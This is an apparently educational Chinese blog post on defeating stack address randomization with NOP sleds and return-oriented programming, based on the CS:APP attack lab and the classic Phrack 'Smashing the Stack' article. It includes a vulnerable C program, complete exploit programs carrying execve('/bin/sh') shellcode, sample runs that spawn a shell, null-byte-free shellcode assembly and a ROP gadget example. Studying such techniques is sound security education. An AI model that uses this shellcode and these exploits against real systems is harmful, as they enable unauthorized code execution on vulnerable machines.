棧幀地址隨機化是地址空間布局隨機化(Address space layout randomization,ASLR)的一種,它實現了棧幀起始地址一定程度上的隨機化,令攻擊者難以猜測需要攻擊位置的地址。
第一次遇到這個問題是在做cs:app3e/深入理解操作系統attacklab實驗的時候,后來在做學校的一個實驗的時候也碰到了這個問題,最近在看一篇“上古黑客”寫的文章的時候又碰到了這個問題,所以寫一篇博文總結一下我了解的兩種對抗思路。
1. NOP slide
注:以下環境基於Linux IA-32
第一種思路是NOP滑動,也稱為NOP sled 或者 NOP ramp,是指通過命中一串連續的 NOP (no-operation) 指令,從而使CPU指令執行流一直滑動到特定位置。
使用前提:未開啟棧破壞檢測(canary)和限制可執行代碼區域。
很多時候我們是把注入的代碼放在存在溢出問題的緩沖區中的(例如一個execve指令),然后將緩沖區所在棧幀的返回地址淹沒為緩沖區的起始地址,這樣回收棧幀返回時%rip就會轉向到緩沖區的位置,隨后開始執行我們注入的指令。如下所示,其中S代表我們注入的指令,0xD8代表了buffer的起始地址:
buffer sfp ret a b c
<------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
^ |
|____________________________|
top of bottom of
stack stack
而問題就在於在地址隨機化的情況下我們需要完全准確的猜中buffer的起始地址(下文中使用“命中”這個詞代指),而這是非常低效的——我們可能要成千上萬次才能發生一次命中。究其根本原因就是必須命中一個點,如果我們能夠將命中范圍擴大,命中的幾率也會上升——這就是我們插入大量NOP指令的原因。大多數處理器都有這個“null 指令”,它除了使%rip指向下一條指令外沒有別的用處,通常用來進行對齊或者延時。如果我們將注入的代碼放在buffer的高地址處,低地址處全部放上連續的NOP指令,這樣我們只需要命中低地址的任何一個ROP指令,最終都會滑動到注入的代碼部分,如下所示,N代表NOP,S代表代碼部分,0xDE為buffer的低地址中的任意位置。
buffer sfp ret a b c
<------ [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
^ |
|_____________________|
top of bottom of
stack stack
演示代碼:
vulnerable.c
void main(int argc, char *argv[]) {
char buffer[512];
if (argc > 1)
strcpy(buffer,argv[1]); /* 讀取第一個參數的內容保存到buffer中 */
}
exploit.c
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]); /* 猜測的偏移地址 */
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4) /* 先將payload全部填滿剛剛get_sp() - offset猜測出的地址,隨后再填入NOP和shellcode */
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++) /* 先填入NOP指令,為payload的一半大小 */
buff[i] = NOP;
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++) /* 再填入shellcode */
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash"); /* 設置環境變量並打開新的shell環境,該環境下會繼承EGG這個含有我們構建的payload的環境變量 */
}
攻擊:
[aleph1]$ ./exploit3 612
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
$
第一次即成功命中 ; )
1.1 Small Buffer Overflows
有些時候存在溢出漏洞的緩沖區很小,我們不能完整的注入攻擊代碼,或者說能夠注入的NOP指令很少,命中的概率還是很低。但是如果我們能夠更改程序的環境變量,可以采用將payload放在環境變量的方法繞過限制(將返回地址改成該環境變量在內存中的地址。
當程序啟動時,環境變量存儲在棧的頂部,啟動后調用setenv()
設置的環境變量會在存放在別處,一開始棧是這個樣子:
<strings><argv pointers>NULL<envp pointers>NULL<argc><argv><envp>
我們要做的就是使得一個新的shell環境下新增一個包含攻擊payload的環境變量:
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) eggsize = atoi(argv[3]); /* 環境變量中存放payload的空間大小 */
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_esp() - offset; /* 猜測環境變量存在的地址 */
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4) /* 將buffer中完全填充為猜測的環境變量的地址 */
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) /* 將環境變量設置為NOP+shellcode */
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg,"EGG=",4); /* 設置環境變量, 一個是待會作為參數的RET,另一個是RET要命中的EGG */
putenv(egg);
memcpy(buff,"RET=",4);
putenv(buff);
system("/bin/bash");
}
攻擊
[aleph1]$ ./exploit4 768
Using address: 0xbffffdb0
[aleph1]$ ./vulnerable $RET
$
成功命中$EGG ; )
1.2 IP relative addressing instructions
剛剛上面講到了如何將執行流轉到我們注入的攻擊代碼處,但是在實際使用時又會產生一個新的問題:如果攻擊代碼需要使用絕對地址怎么辦。我們可以利用JMP和CALL這兩個使用%rip相對地址尋址的指令獲得對應位置的絕對地址,由於JMP和CALL指令不需要知道目標的絕對地址,而CALL指令執行的時候會將下一條指令的絕對地址存入棧中,我們就可以結合JMP和CALL及POP指令獲得絕對地址。如下所示,我們要獲得ssssss("/bin/sh")對應的絕對地址,JJ代表JMP指令,CC代表CALL指令,執行順序用(1)(2)(3)標出:
buffer sfp ret a b c
<------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
^|^ ^| |
|||_____________||____________| (1)
(2) ||_____________||
|______________| (3)
top of bottom of
stack stack
對應的偽代碼如下:
jmp offset-to-call # 2 bytes
popl %esi # 1 byte 將剛剛push的"/bin/sh"的絕對地址取出
movl %esi,array-offset(%esi) # 3 bytes
movb $0x0,nullbyteoffset(%esi)# 4 bytes
movl $0x0,null-offset(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal array-offset,(%esi),%ecx # 3 bytes
leal null-offset(%esi),%edx # 3 bytes
int $0x80 # 2 bytes execve(name[0], name, NULL);
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes exit(0)
call offset-to-popl # 5 bytes 將執行流轉到第二行的pop處,並把高地址的"/bin/sh"的絕對地址push進棧中
/bin/sh string goes here.
計算偏移量,得到最終的payload:
jmp 0x26 # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2b # 5 bytes
.string \"/bin/sh\" # 8 bytes
1.3 Avoid null bytes
很多時候我們的輸入都是從終端輸入,程序使用scanf等等函數接收輸入。如果我們指令中含有null ’\0'這樣的字節,就可能會發生截斷問題,導致payload后部分輸入不能被讀入,這個時候就需要給payload中的指令做一些替換,例如:
替換前: 替換后:
--------------------------------------------------------
movb $0x0,0x7(%esi) xorl %eax,%eax
molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
--------------------------------------------------------
movl $0xb,%eax movb $0xb,%al
--------------------------------------------------------
movl $0x1, %eax xorl %ebx,%ebx
movl $0x0, %ebx movl %ebx,%eax
inc %eax
--------------------------------------------------------
轉換之后的payload:
jmp 0x1f # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
xorl %eax,%eax # 2 bytes
movb %eax,0x7(%esi) # 3 bytes
movl %eax,0xc(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
xorl %ebx,%ebx # 2 bytes
movl %ebx,%eax # 2 bytes
inc %eax # 1 bytes
int $0x80 # 2 bytes
call -0x24 # 5 bytes
.string \"/bin/sh\" # 8 bytes
# 46 bytes
2. Return-Oriented Programming
注:以下環境基於Linux x86-64
第二種思路簡稱ROP攻擊,是代碼復用技術的一種。 思路是將執行流轉向內存中存在的機器指令,這些指令可能是該程序本身包含的.text處的指令,也可能是各種庫之中的,雖然內存中幾乎不可能存在完整的攻擊指令,但是我們可以找到很多指令片段(稱為"gadgets"),其中每一個gadget的最后都是ret指令,所以最后會返回到我們控制的棧中指示的下一個gadget的地址處,依次將所有棧中指示的gadget執行一遍,通過這些"gadgets"的組合,我們就可以達到完整攻擊的目的。ROP可以繞過棧幀地址隨機化、限制可執行代碼區域、代碼簽名等安全措施。
使用前提:未開啟棧破壞檢測(canary)。
攻擊方式如下所示,其中棧由上向下生長(c3是ret指令):
有人可能會問,即使我們能夠利用現成的指令, 但是一些特定的指令還是可能沒有,例如在返回前popq %rdi(不是callee saved)這樣的指令就很難存在。實際上,我們不僅可以使用“現成”的“完整”指令,還可以將一個長的指令拆開,利用其中分解出的指令。舉個栗子:
我們在內存中找到這樣一個函數
void setval_210(unsigned *p)
{
*p = 3347663060U;
}
看起來這個函數的功能對我們的攻擊沒什么用,因為他是將一個特定的常數賦值給指定的內存塊。
0000000000400f15 <setval_210>:
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
400f1b: c3 retq
但是,如果我們將這個指令拆開,查找指令表:
可以發現48 89 c7可以對應到movq %rax, %rdi,接着也是一個c3 ret指令。所以我們就可以使用這個gadget了,它的功能是將%rax賦值給%rdi。需要注意的是這個函數的起始地址為0x400f15,我們的gadget從第四個字節開始,所以我們在棧幀中給這個gadget的地址應該為0x400f18。
尋找gadget的開源工具網上有很多,大家可以找找。
參考:
- Smashing The Stack For Fun And Profit 這是Phrack上的一篇古老的文章,寫於1996年,文中有一些方法和操作已經過時了,但是思路很好。另外,Phrack真的是一個很好的資源地,以后有時間會多多翻譯的。
- Attack Lab Writeup CMU的深入理解計算機系統實驗課指導。
- putenv() and setenv() 關於
setenv()
和putenv()
的區別